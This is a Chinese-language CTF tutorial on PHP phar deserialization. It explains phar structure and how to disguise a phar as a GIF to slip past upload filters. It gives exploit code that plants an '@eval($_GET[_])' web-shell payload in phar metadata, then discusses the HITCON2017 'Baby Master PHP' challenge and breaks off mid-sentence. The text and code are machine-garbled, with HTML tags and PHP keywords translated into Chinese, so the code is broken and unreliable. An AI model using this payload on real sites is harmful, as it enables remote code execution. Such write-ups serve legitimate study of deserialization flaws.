PHP反序列化入门中phar是什么

  介绍

这篇文章将为大家详细讲解有关PHP反序列化入门中phar是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

phar介绍

简单来说<代码> phar> <代码>压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被PHP访问并执行,与<代码>文件:// <代码> PHP://等类似,也是一种流包装器。

<代码> phar> <李>

<代码>存根代码 phar文件标识,格式为<代码> xxx<?php xxx;__HALT_COMPILER();祝辞;

<李>

<代码>显示> 序列化强存储;

<李>

<代码> 内容压缩文件的内容;

<李>

<代码> 代码签名签的名,放在文件末尾;

这里有两个关键点,一是文件标识,必须以<代码> __HALT_COMPILER(); ?在结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者<代码> pdf 文件来绕过一些上传限制;二是反序列化,<代码> phar> 元数据信息以序列化方式存储,当文件操作函数通过<代码> phar://伪协议解析<代码> phar 文件时就会将数据反序列化,而这样的文件操作函数有很多。

以上内容摘自:由PHPGGC理解PHP反序列化漏洞。接下来,我们还是通过两个周大福题目来学习phar反序列化的利用。

例题一

 PHP反序列化入门中phar是什么

这题比较简单,可以直接生成<强> phar 强文件,然后利用网站的上传图片功能,结合<强>第11行的<强> file_exists 函数进行phar反序列化利用,生成代码如下:

 & lt; ? PHP//,phar.readonly无法通过该语句进行设置:,init_set (“phar.readonly" 0);
  class  MyClass {
  ,,,var  output 美元;=,& # 39;@eval ($ _GET [_]); & # 39;;
  }
  
  $ o =, new  MyClass ();
  时间=美元filename  & # 39; poc.phar& # 39;;//,后缀必须为phar,否则程序无法运行
  file_exists(文件名),?,拆开(文件名),:,空;
  phar美元=new  phar ($ filename);
  phar→美元startBuffering ();
  phar→美元setStub (“GIF89a< php  __HALT_COMPILER();, ?在“);
  phar→美元setMetadata (o);
  phar→美元addFromString (“foo.txt",“bar");
  phar→美元stopBuffering ();
  ?在

 PHP反序列化入门中phar是什么

例题二

这题选用<强> HITCON2017 中的<强>婴儿^ H掌握PHP 2017 一题进行学习,题目点这里下载。

 PHP反序列化入门中phar是什么

题目的意思很明确,要我们利用<强>管理强类的<强> __destruct 强方法来获得<强>标记强。但是<强>第20行的<>强随机强美元变量我们无法获得,这样也就无法获得<强>标记强,所以我们要通过匿名类的名字来调用<强>标记生成函数。

我们可以看看<强> create_function 函数对应的内核源码。(<强> php-src/Zend/zend_builtin_functions。c: 1901 )

 PHP反序列化入门中phar是什么

可以看到匿名函数的名字类似于<强> \ 0 lambda_ % d 强,其中<强> % d 为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不好控制。这里,我们便要引入<强> apache-prefork 模型(默认模型)介绍(关于该模型的介绍,可以参考:Apache的三种MPM模式比较:prefork,工人,事件)。当用户请求过大时,超过<强> Apache 默认设定的阀值时,就会启动新的线程来处理请求,此时在新的线程中,匿名函数的名字又会从1开始递增,这样我们就容易猜测匿名函数的名字了。

接下来我们就来找反序列化的利用点,我们很快看到<强>第35行反序列化了一个可控的<强> 变元数据量,但是上一行有一个<强> hash_equals 函数进行了数据校验,而<强> 的秘密美元值不可知,这就没法利用这一反序列化点,接着我们会看到<强>第40行有一个上传<强> gif 强文件功能,且<强> 变元数据量可控。那么攻击思路就是,我们先通过将构造好的

PHP反序列化入门中phar是什么